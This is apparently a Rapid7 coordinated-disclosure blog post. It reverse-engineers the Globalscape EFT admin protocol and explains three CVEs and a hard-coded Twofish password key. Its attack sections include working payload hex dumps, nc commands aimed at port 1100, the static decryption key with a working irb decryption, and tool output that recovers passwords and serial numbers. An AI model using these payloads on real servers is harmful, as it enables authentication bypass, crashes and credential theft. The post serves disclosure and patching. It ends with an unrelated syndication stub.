Our research project focused on the Globalscape administration server, which runs on TCP port 1100 by default. Port 1100 is the interface used by privileged users when they connect to the service using the remote administration client, as well as the interface used by administrators to make site-wide changes (which means it shouldn’t be connected to the public internet). A valid administration session can execute Windows commands on the server in the context of the service user, which is SYSTEM by default. This means that bypassing the authentication on the server leads directly to remote code execution.

We will begin by detailing the network protocol. Then, with knowledge of how the protocol works, we’ll look at each issue.

A partial implementation of the protocol, as well as proofs of concept for each of these issues, are available in a Github project called Gestalt. We’ll link to the individual proof of concept in each session.

Globalscape Admin Protocol

To make any sense of the remainder of this disclosure, we need to learn a bit about the Globalscape admin protocol that Globalscape EFT uses. Since we don’t have source code, we’ve reverse engineered how the protocol works and identified names and fields as best as we could. The original protocol implementation is in the service executable, cftpstes.exe, and ours is in libgestalt.rb.

Globalscape EFT’s administrator service is a binary-based protocol that runs on TCP port 1100 by default. Each message has a short (8-byte) header followed by zero or more parameters in an optional body.

The header is always comprised of exactly two 32-bit little-endian fields:

  • (32-bit) Packet length – used as part of the TCP protocol to read a full message off the wire, and also tells the parser when to stop reading packet data
  • (32-bit) Message ID – used to multiplex different message types (without authenticating, permitted messages are 0x01 (login), and 0x138-0x13a (licensing stuff))

If the message length is longer than 8 bytes, the message also has a body, which is composed of one or more parameters. Parameters in the body are formatted as a pretty typical type-length-value (TLV) structure, with human-readable field names to distinguish which field is which. The structure of the body is:

  • (32-bit) User-readable field name (such as PSWD for password and ADLN for username)
  • (32-bit) Type (the type is almost always 5, which is length-prefixed free-form data, but other types exist as well)
  • (Variable) Value; if the packet type is 5, it’s a length-prefixed free-form data structure:
    • (32-bit) Parameter length
    • (Variable) Value — the value is structured differently depending on the field name

The other noteworthy type is 1, in which case the parameter value is a 32-bit integer.

For example, here’s a login message:

          |       header        |  body.......     
00000000  5e 00 00 00 01 00 00 00  50 53 57 44 05 00 00 00   ^....... PSWD....
00000010  24 00 00 00 20 00 00 00  86 40 71 de d2 ea 9e 12   $... ... .@q.....
00000020  d5 ae 18 40 64 c4 04 ed  c1 08 78 b3 9e c6 4a 57   ...@d... ..x...JW
00000030  c6 1d b6 8d 49 24 0b 8b  41 44 4c 4e 05 00 00 00   ....I$.. ADLN....
00000040  0a 00 00 00 fc ff ff ff  72 00 6f 00 6e 00 41 4d   ........ r.o.n.AM
00000050  49 44 05 00 00 00 04 00  00 00 00 00 00 00         ID...... ......

We can break down that message into the header and body, then named parameters within the body:

  • Header (8 bytes):
    • Length: 0x0000005e (94 bytes)
    • Message id: 0x00000001 (login)
  • Body (86 bytes):
    • Field 1:PSWD (encrypted password)
      • 0x00000005 – type
      • 0x00000024 – length (0x24 bytes)
      • \x20\x00\x00\x00\x86\x40... – value (encrypted password w/ length prefix)
    • Field 2: ADLN (username)
      • 0x00000005 – type
      • 0x0000000a – length (0x0a bytes)
      • \xfc\xff\xff\xff\x72\x00\x6f\x00\x6e\x00 – value ("ron" w/ inverted length prefix (which appears to indicate UTF-16 encoding))
    • Field 3: AMID – login type
      • 0x00000005 – type
      • 0x00000004 – length (4 bytes)
      • 0x00000000 – value (0 = EFT authentication)

All messages follow this structure, although each message ID has a different set of required parameters. The named parameters don’t need to be in any particular order.

Compression

A special message ID, 0xff7f, indicates that the body of the message is a full message (header and all), compressed as a Zlib deflate stream. A compressed version of the same login message from above might look like this:

00000000  5f 00 00 00 7f ff 00 00  78 9c 8b 63 60 60 60 04   _....... x..c```.
00000010  e2 80 e0 70 17 56 20 ad  02 c4 0a 40 dc e6 50 78   ...p.V . [email protected]
00000020  ef d2 ab 79 42 57 d7 49  38 a4 1c 61 79 7b 90 a3   ...yBW.I 8..ay{..
00000030  62 f3 bc 63 5e e1 c7 64  b7 f5 7a aa 70 77 3b ba   b..c^..d ..z.pw;.
00000040  f8 f8 81 d4 73 01 f1 9f  ff ff ff 17 31 e4 33 e4   ....s... ....1.3.
00000050  31 38 fa 7a 82 4d 61 61  80 00 00 bd 2a 19 18      18.z.Maa ....*..

This compressed message has a length of 0x0000005f, message ID of 0x0000ff7f, and a body of \x78\x9c\x8b..... The \x78 at the start indicates that it’s likely a deflate stream (and it is). If we use the openssl command-line utility to un-deflate the data, we get back the original message:

$ echo -ne "\x78\x9c\x8b\x63\x60\x60\x60\x04\xe2\x80\xe0\x70\x17\x56\x20\xad\x02\xc4\x0a\x40\xdc\xe6\x50\x78\xef\xd2\xab\x79\x42\x57\xd7\x49\x38\xa4\x1c\x61\x79\x7b\x90\xa3\x62\xf3\xbc\x63\x5e\xe1\xc7\x64\xb7\xf5\x7a\xaa\x70\x77\x3b\xba\xf8\xf8\x81\xd4\x73\x01\xf1\x9f\xff\xff\xff\x17\x31\xe4\x33\xe4\x31\x38\xfa\x7a\x82\x4d\x61\x61\x80\x00\x00\xbd\x2a\x19\x18" | openssl zlib -d | hexdump -C
00000000  5e 00 00 00 01 00 00 00  50 53 57 44 05 00 00 00  |^.......PSWD....|
00000010  24 00 00 00 20 00 00 00  86 40 71 de d2 ea 9e 12  |$... ....@q.....|
00000020  d5 ae 18 40 64 c4 04 ed  c1 08 78 b3 9e c6 4a 57  |[email protected]|
00000030  c6 1d b6 8d 49 24 0b 8b  41 44 4c 4e 05 00 00 00  |....I$..ADLN....|
00000040  0a 00 00 00 fc ff ff ff  72 00 6f 00 6e 00 41 4d  |........r.o.n.AM|
00000050  49 44 05 00 00 00 04 00  00 00 00 00 00 00        |ID............|

The remainder of this section will demonstrate issues we discovered in this admin protocol.

CVE-2023-2989—Authentication Bypass via Out-of-Bounds Read

We discovered a (blind) out-of-bounds memory read in the Globalscape EFT admin server that allows a specially crafted message to parse data anywhere in memory as if it’s part of the message itself. Although it’s tricky to exploit, an attacker can potentially leverage this issue to authenticate as another user that recently logged in by jumping into their login message and letting the parser believe it’s the attacker’s login message. We found this by developing a fairly naive fuzzer, which mostly just flips random bits in packets, that you can find here, then determining why the process crashed a bunch of different (but similar) ways. The vendor has published an advisory for this issue here.

Successful exploitation requires a confluence of factors; namely, the attacker must log in shortly after an administrator, while the administrator’s login message is still on the heap, then successfully guess the offset between their malicious message and the administrator’s login message. We did some experimentation and narrowed down the heap layout well enough to succeed after just a handful of attempts under ideal conditions. You can see how that works in our proof of concept, which logs in as the administrator then immediately sends an exploit attempt. This usually works after a small number of attempts in our lab environment (5-10 tries on average).

In the protocol documentation above, we noted that the 32-bit length field at the start of the message is used as part of the TCP protocol to receive exactly one TCP message. That means that if the length field is too large or too small, the TCP recv() operation will receive the requested number of bytes (if it can) and, if the message is incomplete or too long, it will simply not be processed. That typically prevents the packet parser from parsing a message with an invalid length.

However, we found a second way to create a message that gets parsed by the same protocol parser but does not go through TCP: compressed messages! When a message is compressed, the TCP stack is no longer involved, and the prefixed length is not validated in any way. The message parser will attempt to parse the message until it reaches the end, as indicated by the message length field, no matter how much data there actually is; that could be well past the end of available memory.

We can demonstrate this by creating a message with a very very long length (0x7fffffff), with a parameter that claims to be 0x41414141 bytes long (lots of other variations also work fine):

00000000  ff ff ff 7f 01 00 00 00  50 53 57 44 05 00 00 00   ........ PSWD....
00000010  41 41 41 41                                        AAAA

If we send that directly, it will be rejected after the server fails to receive 0x7fffffff bytes. However, if we compress the message, we end up with this 0x21-byte compressed version:

00000000  21 00 00 00 7f ff 00 00  78 9c fb ff ff 7f 3d 23   !....... x.....=#
00000010  03 03 43 40 70 b8 0b 2b  90 76 04 02 00 51 27 05   ..C@p..+ .v...Q'.
00000020  c5                                                 .

Which we can send with ncat or similar tools:

$ echo '\x21\x00\x00\x00\x7f\xff\x00\x00\x78\x9c\xfb\xff\xff\x7f\x3d\x23\x03\x03\x43\x40\x70\xb8\x0b\x2b\x90\x76\x04\x02\x00\x51\x27\x05\xc5' | ncat 172.16.166.170 1100

The TCP stack easily receives the 0x21 (33) bytes into a buffer. Then it inflates that message into 0x14 bytes of uncompressed data, including the enormous (and unvalidated) length field, which it assumes is correct. Unsurprisingly, that doesn’t go well! Since this is a heap overflow on a randomized heap, this proof of concept isn’t completely deterministic, but after a few tries the server should crash with an out-of-bounds read of some sort. This particular crash can happen in a variety of places depending on when exactly it reaches the end of available memory (plus, it depends what other values exist in the memory it’s trying to parse), which made it tricky to triage fuzzer crashes, but here’s one such crash:

(1bbc.87c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Globalscape\EFT Server\cftpstes.exe
VCRUNTIME140!memcpy+0x627:
00007ff8`0ddc1917 0f10441110      movups  xmm0,xmmword ptr [rcx+rdx+10h] ds:0000024b`a61d0ff4=????????????????????????????????

From the registers, we can see that rdx, which is used in the memory read, is set to a negative value:

0:089> r
rax=0000024be75e5191 rbx=0000024ba61d1060 rcx=0000024ba74a9d10
rdx=fffffffffed272d4 rsi=0000000041414141 rdi=0000004d8611f418
rip=00007ff80ddc1917 rsp=0000004d8611f368 rbp=0000024ba4ef8334
 r8=0000000041414130  r9=0000000000025b19 r10=0000024ba4ef8334
r11=0000024ba61d1060 r12=0000024ba4ef8320 r13=0000004d8611f748
r14=0000000000000000 r15=0000000044575350
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
VCRUNTIME140!memcpy+0x627:
00007ff8`0ddc1917 0f10441110      movups  xmm0,xmmword ptr [rcx+rdx+10h] ds:0000024b`a61d0ff4=????????????????????????????????

Here’s the call stack leading up to the memcpy() where it crashes:

0:089> k
 # Child-SP          RetAddr               Call Site
00 0000004d`8611f368 00007ff6`d3e1405b     VCRUNTIME140!memcpy+0x627 [D:\a\_work\1\s\src\vctools\crt\vcruntime\src\string\amd64\memcpy.asm @ 735] 
01 0000004d`8611f370 00007ff6`d4011c2b     cftpstes!OPENSSL_Applink+0xde5cb
02 0000004d`8611f3b0 00007ff6`d4011640     cftpstes!OPENSSL_Applink+0x2dc19b
03 0000004d`8611f570 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbbb0
04 0000004d`8611f640 00007ff6`d40ea977     cftpstes!OPENSSL_Applink+0x2dbc0f
05 0000004d`8611f710 00007ff6`d404430d     cftpstes!OPENSSL_Applink+0x3b4ee7
06 0000004d`8611fa20 00007ff6`d3f84989     cftpstes!OPENSSL_Applink+0x30e87d
07 0000004d`8611fb10 00007ff6`d3dbf8f2     cftpstes!OPENSSL_Applink+0x24eef9
08 0000004d`8611fbe0 00007ff6`d3e2d87b     cftpstes!OPENSSL_Applink+0x89e62
09 0000004d`8611fd10 00007ff8`1ac06b4c     cftpstes!OPENSSL_Applink+0xf7deb
0a 0000004d`8611fd50 00007ff8`1bdb4dd0     ucrtbase!thread_start<unsigned int (__cdecl*)(void *),1>+0x4c
0b 0000004d`8611fd80 00007ff8`1d69e3db     KERNEL32!BaseThreadInitThunk+0x10
0c 0000004d`8611fdb0 00000000`00000000     ntdll!RtlUserThreadStart+0x2b

Initially, we categorized this as a denial of service and moved on. Later, we realized that it could actually be leveraged for more. If we could construct a login message that, when parsed, jumps perfectly into another login message, that’s an opportunity to use a different user’s credentials without ever knowing them.

To develop an exploit that does exactly that, we connected to the service several thousand times, and used a debugger to determine where memory is allocated each time. Because of ASLR (randomized memory addresses), the heap memory allocations move around slightly, but we did narrow down the range quite a bit. Specifically, in our experimentation, our login messages were allocated at memory addresses that are some multiple of 0x70 bytes apart, and usually quite close together. Experimentally, the most common distance between two consecutive messages on Windows Server 2022 was 0x380 bytes, but several other offsets are also common. We developed this message as a demonstration, which assumes the next message starts 0x4d0 bytes after our message, which was the first working offset we discovered:

00000000  2e 05 00 00 01 00 00 00  61 61 61 61 05 00 00 00   ........ aaaa....
00000010  c4 04 00 00 00 00 00 00  61 61 61 61 61 61 61 61   ........ aaaaaaaa
00000020  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaa aaaaaaaa
00000030  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaa aaaaaaaa
00000040  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaa aaaaaaaa
00000050  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaa aaaaaaaa
00000060  61 61 61 61 61 61 61 61                            aaaaaaaa 

Which compresses into the following:

00000000  25 00 00 00 7f ff 00 00  78 9c d3 63 65 60 60 64   %....... x..ce``d
00000010  60 60 48 04 02 20 93 e1  08 0b 03 18 24 52 19 00   ``H.. .. ....$R..
00000020  00 b7 34 20 d6                                     ..4 .

The message claims to be 0x52e bytes long, which means that, as far as the parser is concerned, our message will end at the end of the next login message in memory!

This malicious login message contains one parameter that claims to be 0x4c4 bytes long with an unused name (aaaa). When that parameter is parsed, the parser will read (and discard) the entire 0x4c4-byte field, because a field called aaaa isn’t something it cares about. But, because the length of the field is 0x4c4 bytes, which doesn’t exceed the packet length of 0x52e bytes, the parser will check for the next field 0x4d0 bytes later, which is where the body of the next message starts. So, the parser will happily continue parsing the body of the second message as if it’s still part of the same message until it does reach the maximum length of 0x52e, which should be exactly where that message ends. That means that the various authentication fields (username/password) will come from that message!

Here’s what the messages look like when this attack succeeds:

In (version details):

    00000000  2c 00 00 00 2b 00 00 00  56 52 53 4e 01 00 00 00   ,...+... VRSN....
    00000010  a0 01 00 80 50 54 59 50  01 00 00 00 00 00 00 00   ....PTYP ........
    00000020  4c 53 59 53 01 00 00 00  01 00 00 00               LSYS.... ....

Out (malicious compressed packet):

00000000  25 00 00 00 7f ff 00 00  78 9c d3 63 65 60 60 64   %....... x..ce``d
00000010  60 60 48 04 02 20 93 e1  08 0b 03 18 24 52 19 00   ``H.. .. ....$R..
00000020  00 b7 34 20 d6                                     ..4 .

In (login succeeded):

    0000002C  96 18 00 00 01 00 00 00  41 44 4d 4e 05 00 00 00   ........ ADMN....
    0000003C  66 00 00 00 fc ff ff ff  72 00 6f 00 6e 00 00 00   f....... r.o.n...
    0000004C  00 00 f4 98 aa 1a d0 15  54 fe af 1b 98 81 12 a9   ........ T.......
    0000005C  4f 45 00 00 00 00 01 00  00 00 00 00 00 00 00 00   OE...... ........
    [...]

This succeeds at a rate of approximately 1 in 10, even under ideal conditions; however, a clever attacker may be able to improve that by massaging the heap a bit. Therefore, we believe that this is a high-risk vulnerability, and should be treated as such.

CVE-2023-2990—Denial of Service Due to Recursive Compression

The Globalscape EFT server can be crashed by sending a recursively compressed packet (a compression "quine" to the administration port. We published a proof of concept here. The vendor has published advisory here.

We found the following function in the Globalscape EFT server, which we called decompress_and_parse_packet, that checks for the special compression message ID mentioned above (0xff7f):

.text:00007FF6D4011610                         decompress_and_parse_packet(void *parsed, void *packet, int length) proc near   ; CODE XREF: sub_7FF6D3E0D9F0+BAC↑p
.text:00007FF6D4011610                                                                 ; decompress_and_parse_packet+8A↓p ...
.text:00007FF6D4011610
; [......]
.text:00007FF6D4011632
.text:00007FF6D4011632                         check_for_compression:                  ; CODE XREF: decompress_and_parse_packet+19↑j
.text:00007FF6D4011632 81 7A 04 7F FF 00 00                    cmp     dword ptr [rdx+4], 0FF7Fh ; <-- Compare the msgid to 0xff7f
.text:00007FF6D4011639 74 07                                   jz      short packet_is_compressed ; <-- Handle compressed messages
.text:00007FF6D401163B E8 90 00 00 00                          call    parse_packet
.text:00007FF6D4011640 EB 6B                                   jmp     short return
.text:00007FF6D4011642                         ; ---------------------------------------------------------------------------
; [...]
.text:00007FF6D4011642                         packet_is_compressed:                   ; CODE XREF: decompress_and_parse_packet+29↑j
.text:00007FF6D4011642 8B 1A                                   mov     ebx, [rdx]
; [... decompression stuff ...]
.text:00007FF6D401168F 4C 8B C0                                mov     r8, rax
.text:00007FF6D4011692 48 8B 54 24 28                          mov     rdx, [rsp+0C8h+var_A0]
.text:00007FF6D4011697 48 8B CE                                mov     rcx, rsi
.text:00007FF6D401169A E8 71 FF FF FF                          call    decompress_and_parse_packet ; <-- Recurse after decompressing
.text:00007FF6D401169F 8B D8                                   mov     ebx, eax

Because the function recurses after decompressing, a message that decompresses to itself with an appropriate header will recurse infinitely and quickly crash the Globalscape EFT server.

To develop an exploit, we found this post about how to generate a compression quine with an arbitrary header, which includes ancient Go source code to generate an arbitrary quine in several different formats (.zip, .tar.gz, and .gz). We updated the Go code to compile on modern versions of Go, and to output a raw deflate stream. Using our version of that tool, we developed the following "quine" packet, which is also available in our proof of concept repository:

00000000  e2 00 00 00 7f ff 00 00  78 9c 7a c4 c0 c0 50 ff  |........x.z...P.|
00000010  9f 81 a1 62 0e 00 10 00  ef ff 7a c4 c0 c0 50 ff  |...b......z...P.|
00000020  9f 81 a1 62 0e 00 10 00  ef ff 82 f1 61 7c 00 00  |...b........a|..|
00000030  05 00 fa ff 82 f1 61 7c  00 00 05 00 fa ff 00 05  |......a|........|
00000040  00 fa ff 00 14 00 eb ff  82 f1 61 7c 00 00 05 00  |..........a|....|
00000050  fa ff 00 05 00 fa ff 00  14 00 eb ff 42 88 21 c4  |............B.!.|
00000060  00 00 14 00 eb ff 42 88  21 c4 00 00 14 00 eb ff  |......B.!.......|
00000070  42 88 21 c4 00 00 14 00  eb ff 42 88 21 c4 00 00  |B.!.......B.!...|
00000080  14 00 eb ff 42 88 21 c4  00 00 00 00 ff ff 00 00  |....B.!.........|
00000090  00 ff ff 00 17 00 e8 ff  42 88 21 c4 00 00 00 00  |........B.!.....|
000000a0  ff ff 00 00 00 ff ff 00  17 00 e8 ff 42 12 46 16  |............B.F.|
000000b0  06 00 00 00 ff ff 01 08  00 f7 ff aa bb cc dd 00  |................|
000000c0  00 00 00 42 12 46 16 06  00 00 00 ff ff 01 08 00  |...B.F..........|
000000d0  f7 ff aa bb cc dd 00 00  00 00 aa bb cc dd 00 00  |................|
000000e0  00 00                                             |..|

We can demonstrate that the body decompresses to itself by using the openssl zlib inflation command on the 213-byte message body:

$ dd if=recursive.zlib bs=1 skip=8 count=213 2>/dev/null | openssl zlib -d | hexdump -C
00000000  e2 00 00 00 7f ff 00 00  78 9c 7a c4 c0 c0 50 ff  |........x.z...P.|
00000010  9f 81 a1 62 0e 00 10 00  ef ff 7a c4 c0 c0 50 ff  |...b......z...P.|
00000020  9f 81 a1 62 0e 00 10 00  ef ff 82 f1 61 7c 00 00  |...b........a|..|
00000030  05 00 fa ff 82 f1 61 7c  00 00 05 00 fa ff 00 05  |......a|........|
00000040  00 fa ff 00 14 00 eb ff  82 f1 61 7c 00 00 05 00  |..........a|....|
00000050  fa ff 00 05 00 fa ff 00  14 00 eb ff 42 88 21 c4  |............B.!.|
00000060  00 00 14 00 eb ff 42 88  21 c4 00 00 14 00 eb ff  |......B.!.......|
00000070  42 88 21 c4 00 00 14 00  eb ff 42 88 21 c4 00 00  |B.!.......B.!...|
00000080  14 00 eb ff 42 88 21 c4  00 00 00 00 ff ff 00 00  |....B.!.........|
00000090  00 ff ff 00 17 00 e8 ff  42 88 21 c4 00 00 00 00  |........B.!.....|
000000a0  ff ff 00 00 00 ff ff 00  17 00 e8 ff 42 12 46 16  |............B.F.|
000000b0  06 00 00 00 ff ff 01 08  00 f7 ff aa bb cc dd 00  |................|
000000c0  00 00 00 42 12 46 16 06  00 00 00 ff ff 01 08 00  |...B.F..........|
000000d0  f7 ff aa bb cc dd 00 00  00 00 aa bb cc dd 00 00  |................|
000000e0  00 00                                             |..|

We can send that message to the Globalscape EFT admin port using Netcat:

$ nc -v 172.16.166.170 1100 < recursive.zlib
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 172.16.166.170:1100.

And observe the server crash due to stack exhaustion (in a debugger):

0:073> g
(12dc.1a68): Stack overflow - code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ntdll!RtlpHpAllocVirtBlockCommitFirst+0x31:
00007ff8`1d67f0dd e822220000      call    ntdll!RtlpGetHeapProtection (00007ff8`1d681304)

We can look at the call stack to verify that it does indeed crash by recursing infinitely and exhausting all stack memory:

0:096> k
 # Child-SP          RetAddr               Call Site
00 000000a7`cb583ff0 00007ff8`1d63f5a6     ntdll!RtlpHpAllocVirtBlockCommitFirst+0x31
01 000000a7`cb584060 00007ff8`1d63c4f9     ntdll!RtlpAllocateHeap+0x1246
02 000000a7`cb584230 00007ff8`1abeffa6     ntdll!RtlpAllocateHeapInternal+0x6c9
*** WARNING: Unable to verify checksum for C:\Program Files\Globalscape\EFT Server\cftpstes.exe
03 000000a7`cb584340 00007ff6`d486b217     ucrtbase!_malloc_base+0x36
04 000000a7`cb584370 00007ff6`d3de5803     cftpstes!OPENSSL_Applink+0xb35787
05 000000a7`cb5843a0 00007ff6`d43e17b4     cftpstes!OPENSSL_Applink+0xafd73
06 000000a7`cb5843d0 00007ff6`d4011660     cftpstes!OPENSSL_Applink+0x6abd24
07 000000a7`cb584400 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbbd0
08 000000a7`cb5844d0 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbc0f
09 000000a7`cb5845a0 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbc0f
0a 000000a7`cb584670 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbc0f
0b 000000a7`cb584740 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbc0f
......

While the exploit itself is interesting from a development and mathematics perspective, this is ultimately a denial of service, and has no possibility of code execution or other security consequences.

CVE-2023-2991—Hard Drive Serial Number Disclosure

The hard drive serial number of the server hosting a Globalscape EFT instance can be derived by requesting a TER ("trial extension request") identifier. Presumably, this is an identifier used for uniquely identifying licensed hosts. As of this disclosure, this issue is not fixed, but is also minor enough to disclose (The vendor has disclosed it as a KB here). We developed a proof of concept that you can download here.

If we send a blank (header-only) message of type 0x138 to the administration port, it returns a lightly obfuscated base64 string in a field called HASH, and that is internally called a "TER":

$ echo -ne '\x08\x00\x00\x00\x38\x01\x00\x00' | nc 172.16.166.170 1100 | hexdump -C
[...]
00000020  [...]                                84 00 00 00  |            ....|
00000030  38 01 00 00 48 41 53 48  04 00 00 00 32 00 00 00  |8...HASH....2...|
00000040  2b 00 6b 00 34 00 56 00  47 00 30 00 41 00 54 00  |+.k.4.V.G.0.A.T.|
00000050  35 00 43 00 55 00 30 00  34 00 42 00 44 00 36 00  |5.C.U.0.4.B.D.6.|
00000060  30 00 5a 00 57 00 35 00  76 00 6d 00 30 00 47 00  |0.Z.W.5.v.m.0.G.|
00000070  4d 00 34 00 43 00 4a 00  57 00 70 00 6d 00 65 00  |M.4.C.J.W.p.m.e.|
00000080  4c 00 53 00 2f 00 51 00  38 00 46 00 46 00 69 00  |L.S./.Q.8.F.F.i.|
00000090  30 00 6a 00 50 00 50 00  34 00 43 00 74 00 78 00  |0.j.P.P.4.C.t.x.|
000000a0  67 00 3d 00 45 52 52 52  01 00 00 00 00 00 00 00  |g.=.ERRR........|

The actual string from the HASH field is +k4VG0AT5CU04BD60ZW5vm0GM4CJWpmeLS/Q8FFi0jPP4Ctxg=, which does not correctly decode as base64:

$ echo -ne '+k4VG0AT5CU04BD60ZW5vm0GM4CJWpmeLS/Q8FFi0jPP4Ctxg=' | base64 -d
�N�%4��ѕ��m3��Z��-/��Qb�3��+qbase64: invalid input

We reverse engineered the function that generates that value, and determined that six characters—0, 8, 0, 0, 0, and 0—are inserted into the base64 string at the offsets 14, 33, 5, 38, 21, and 11, in that order (presumably as obfuscation). We can undo that process by removing those six characters in the opposite order, which leaves us with the new base64 string +k4VGAT5CU4BD6ZW5vmGM4CJWpmeLS/QFFijPP4Ctxg=. That fixed string does successfully decode as base64, into a 256-bit string:

$ echo -ne '+k4VGAT5CU4BD6ZW5vmGM4CJWpmeLS/QFFijPP4Ctxg=' | base64 -d | hexdump -C
00000000  fa 4e 15 18 04 f9 09 4e  01 0f a6 56 e6 f9 86 33  |.N.....N...V...3|                                                     
00000010  80 89 5a 99 9e 2d 2f d0  14 58 a3 3c fe 02 b7 18  |..Z..-/..X.<....|  

That string is the SHA256 of the hard drive’s serial number. On my server, the serial number is 418934929, which means we can calculate the SHA256 digest ourselves and validate that it matches the string the server returned:

$ echo -ne '418934929' | sha256sum
fa4e151804f9094e010fa656e6f9863380895a999e2d2fd01458a33cfe02b718  -

Since the space of possible serial numbers is small, exhaustively brute forcing that integer value is possible in only a few minutes, even on a laptop:

$ time ruby ./request-hdd-serial.rb
Sending: ["0800000038010000"]                                                                                                      
Received TER:                                                                                                                      
{:length=>132,                                                                                                                     
 :msgid=>312,                                                                                                                      
 :args=>                                     
  {"HASH"=>                                  
    {:type=>:string,
     :length=>50,
     :data=>"+k4VG0AT5CU04BD60ZW5vm0GM4CJWpmeLS/Q8FFi0jPP4Ctxg="},
   "ERRR"=>{:type=>:int, :value=>0}}}
SHA256 of serial = fa4e151804f9094e010fa656e6f9863380895a999e2d2fd01458a33cfe02b718

Trying 0...
Trying 1048576...
Trying 2097152...
Trying 3145728...
Trying 4194304...
[...]
Trying 417333248...
Trying 418381824...
Found the serial: 418934929

________________________________________________________
Executed in  431.80 secs    fish           external
   usr time  426.37 secs    0.00 micros  426.37 secs
   sys time    0.07 secs  864.00 micros    0.07 secs

Plaintext-Equivalent Passwords in Network Traffic

By default, the remote administration server does not use SSL. We determined that, while the password transmitted on the wire is encrypted, the encryption key is hard-coded and users’ passwords can be recovered from a packet capture. We developed a tool that will do just that. Although we opted not to assign a CVE to this issue, the vendor has updated the default SSL setting in future versions and has published an advisory.

As noted above, administrators can run local Windows commands, which means that a packet capture essentially leads to remote code execution, unless the administrator enables SSL.

Here is an example of a login message that contains an encrypted password:

00000000  5e 00 00 00 01 00 00 00  50 53 57 44 05 00 00 00  |^.......PSWD....|
00000010  24 00 00 00 20 00 00 00  86 40 71 de d2 ea 9e 12  |$... ....@q.....|
00000020  d5 ae 18 40 64 c4 04 ed  c1 08 78 b3 9e c6 4a 57  |[email protected]|
00000030  c6 1d b6 8d 49 24 0b 8b  41 44 4c 4e 05 00 00 00  |....I$..ADLN....|
00000040  0a 00 00 00 fc ff ff ff  72 00 6f 00 6e 00 41 4d  |........r.o.n.AM|
00000050  49 44 05 00 00 00 04 00  00 00 00 00 00 00        |ID............|

It contains three fields: PSWD (password), ADLN (username), and AMID (login type). In our case, we’re only concerned with the encrypted password field (PSWD), which has the value:

\x86\x40\x71\xde\xd2\xea\x9e\x12\xd5\xae\x18\x40\x64\xc4\x04\xed\xc1\x08\x78\xb3\x9e\xc6\x4a\x57\xc6\x1d\xb6\x8d\x49\x24\x0b\x8b

Passwords are encrypted using the Twofish algorithm with a static key (tfgry\0\0\0\0\0\0\0\0\0\0\0) and blank IV. That means that passwords can be fully decrypted off the wire (although casual observers might believe that the encryption has some value). Here’s a demonstration of decrypting that password using the interactive Ruby shell (irb) and the twofish gem:

$ gem install twofish
[...]
$ irb

3.0.2 :001 > require 'twofish'
 => true

3.0.2 :002 > tf = Twofish.new("tfgry\0\0\0\0\0\0\0\0\0\0\0", :padding => :zero_byte, :mode => :cbc)
 => #<Twofish:0x0000000002b23340 [...]>

3.0.2 :003 > tf.iv = "\0" * 16
 => "\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000" 

3.0.2 :004 > puts (tf.decrypt("\x86\x40\x71\xde\xd2\xea\x9e\x12\xd5\xae\x18\x40\x64\xc4\x04\xed\xc1\x08\x78\xb3\x9e\xc6\x4a\x57\xc6\x1d\xb6\x8d\x49\x24\x0b\x8b") + "\0").force_encoding("UTF-16LE").encode("ASCII-8BIT")
Password1!

We use force_encoding() and encode to convert from UTF-16 to ASCII.

To demonstrate the impact, we wrote a tool that’ll decrypt passwords from a PCAP file:

$ ruby recover-pw.rb all-login-types.pcapng
Found login: ron / MyWindowsPassword (type = "Windows authentication")
Found login: ron / Password1! (type = "Windows authentication")
Found login: ron / testtest (type = "EFT Authentication")
Found login: ron / Password1! (type = "EFT Authentication")
Found login: WIN-PV9OH13IIUB\Administrator / ******** (type = "Currently logged on user")
 NTLMSSP blob: ["400000004e544c4d535350000100000007b208a209000900370000000f000f00280000000a007c4f0000000f57494e2d5056394f48313349495542574f524b47524f5550"]
Found login: WIN-PV9OH13IIUB\Administrator / ******** (type = "Currently logged on user")
 NTLMSSP blob: ["580000004e544c4d535350000300000000000000580000000000000058000000000000005800000000000000580000000000000058000000000000005800000005c288a20a007c4f0000000fc336e05c920cada6821fe04d5709b868"]

Note that NTLM logins use the literal password ********, but also include an additional NTLMSSP blob containing the actual authentication details.

Remediation

These issues are fixed in Fortra Globalscape version 8.1.0.16. We don’t believe these require emergency patches, but since the ultimate consequence is remote code execution, they should be patched in the next planned patch cycle.

Timeline

  • April 2023 – Rapid7 begins researching Globalscape EFT
  • May 10, 2023: Rapid7 reports issues to vendor
  • May 10, 2023: Vendor acknowledgement
  • May 24, 2023: Vendor confirmed the issues
  • May 26, 2023: Rapid7 reserves CVEs
  • May 26 – June 1, 2023: Vendor and Rapid7 clarify additional details
  • June 13, 2023: Rapid7 asks for an update from vendor on patch ETA, proposes July 11 as coordinated disclosure date. Because of a minor misunderstanding, Rapid7 discovers vendor has already released fixes and KBs. Vendor volunteers to pull KBs offline while Rapid7 prepares our own disclosure. Initially, Rapid7 agrees to this.
  • June 14, 2023: Rapid7 asks vendor to republish their KBs in the interest of transparency and effective risk assessment while Rapid7 prepares this disclosure
  • June 20, 2023 – Vendor informs Rapid7 their KBs have been re-published
  • June 22, 2023 – Rapid7 releases this disclosure blog

Raptor Technologies Volunteer Management Client-Side Security Controls (FIXED)

Post Syndicated from Rapid7 original https://blog.rapid7.com/2023/04/11/raptor-technologies-volunteer-management-client-side-security-controls-fixed/

Raptor Technologies Volunteer Management Client-Side Security Controls (FIXED)

